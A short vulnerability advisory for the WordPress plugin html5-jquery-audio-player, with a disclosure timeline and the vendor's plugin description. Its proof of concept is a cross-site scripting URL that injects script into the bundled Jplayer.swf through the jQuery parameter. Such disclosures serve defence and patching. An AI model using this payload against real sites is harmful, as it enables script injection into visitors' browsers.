wp-plugin : html5-jquery-audio-player

Plugin Details
Plugin Name: wp-plugin : html5-jquery-audio-player
Effected Version : (and most probably lower version's if any)
Vulnerability : Components with Known Vulnerabilities
Identified by : prajalkulkarni
WPScan Reference URL

Technical Details
Minimum Level of Access Required : Unauthenticated
PoC - (Proof of Concept) :

http://localhost/wordpress/wp-content/wp-plugs/html5-jquery-audio-player/includes/jquery-jplayer/Jplayer.swf?jQuery=%29%7Dcatch%28e%29%7B%7Dif%28!self.a%29self.a=!alert%28/1337day%20TUNISIAN%20CYBER/%29//


Disclosure Timeline
Vendor Contacted : 2013-12-26
Plugin Status : Updated on 2014-01-11
Public Disclosure : May 25, 2014
CVE Number :
Plugin Description :
[| This trendy looking music player lets you add a single audio track or a full playlist to your WordPress site using shortcode. You can customise the colours of the player, and also display ratings, album cover art, and buy/download link if needed. This audio player is different from others on offer because it works on all major browsers, both PC and Mac, and on mobile devices including iPhone/iPad. Plus it looks really cool! = Key Features = * Uses mp3 and ogg file formats * Attractive and customisable design * Works in all major browsers - IE9+, Safari, Opera, Firefox, Chrome * Works on mobile devices including iPhone/iPad * Can enable Buy or Download tracks button - [tutorial here](http://www.enigmaweb.com.au/fetchapp-integration-tutorial/) * Autoplay on/off option * User star ratings * Add the player to any post/page using shortcode `[hmp_player]` = Demo = [Click here for demo](http://www.bluecatcombo.com.au/wedding-band-perth/) This demo shows the player with tracklist enabled, ratings on, and autoplay off. Duration and buy/download button is also switched off in this example. = Pro vs Lite Version = This is Lite (free) version of the plugin. [Get Pro Version](http://enigmaplugins.com/plugins/html5-jquery-audio-pro/) if you need the following advanced features: * Mulitple Playlists - create as many playlists as you like and embed any number of players in your site. * Drag n Drop playlist manager so you can order tracks * Fully Responsive Design * Enhanced admin area including smart AJAX input forms * More customisation control - adjust player width, choose whether to display ratings, artwork and more. * Add up to 3 buy/download buttons so you can sell your music in several places (eg iTunes, BandCamp, etc) * Display the player in a sidebar using a widget Please note that Pro version will not work on Windows Server environment. = Credits = This is a WordPress version of the player created by Saleem over at [Codebase Hero](http://www.codebasehero.com/2011/06/html-music-player/) with thanks also to [Orman Clark](http://www.premiumpixels.com/freebies/compact-music-player-psd/) for the original PSD. ]